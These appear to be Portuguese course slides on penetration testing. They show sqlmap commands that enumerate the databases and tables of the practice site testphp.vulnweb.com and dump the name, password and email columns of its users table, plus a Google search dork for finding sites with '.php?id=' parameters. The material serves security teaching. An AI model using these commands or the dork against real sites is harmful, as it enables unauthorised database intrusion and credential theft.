FIEG SESI SENAI IEL ICQ BRASIL

FIEG SENAI

Graduação em Análise e Desenvolvimento de Sistemas

Segurança em Desenvolvimento de Sistemas

Prof.º: Plinio Marcos Mendes Carneiro

PEN TEST

O banco de dados mostrado, é apenas um banco de dados para devidos testes de vulnerabilidade em banco de dados, com suporte a comandos SQL.

Buscar por sites que tenham determinada vulnerabilidade, no site de busca google, você poderá utilizar a busca por apenas URL

inurl: *.php?id=

sqlmap

- SqlMap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL.
- Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido.
- Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de penetração por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional

PEN TEST

Explicando a linha de comando:

-u = indicador da url do site

--dbs = após aplica o script procure por database (banco de dados)

 # sqlmap -u http://testphp.vulnweb.com/search.php?test=query --dbs

- após a busca com o comando acima, é encontrada no site de testes o nome do banco.
- Chama-se **acuart**

PEN TEST

Explicando a linha de comando:

-D acuart = entrar dentro da base de dados chamada acurart

--tables = listar as tabelas que está dentro do banco.

 # sqlmap -u http://testphp.vulnweb.com/search.php?test=query -D acuart --tables

PEN TEST

Explicando a linha de comando:

Após visualizar as tabelas que estão dentro do banco, aplica-se o comando para entrar dentro de uma das tabelas. Entraremos dentro da tabela chamada users (para descobrir o nome e senha que os usuários tem dentro do site testphp)

Onde o comando users é a tabela chamada users e a opção --colums irá mostrar as colunas da tabela.

 # sqlmap -u http://testphp.vulnweb.com/search.php?test=query -D acuart -T users --columns

PEN TEST

Explicando a linha de comando:

Após, a tabela users, que está dentro do banco, aplica-se um comando para listar os campos “nome e senha” da tabela users.

 # sqlmap -u http://testphp.vulnweb.com/search.php?test=query -D acuart -T users -C 'name,pass,email' --dump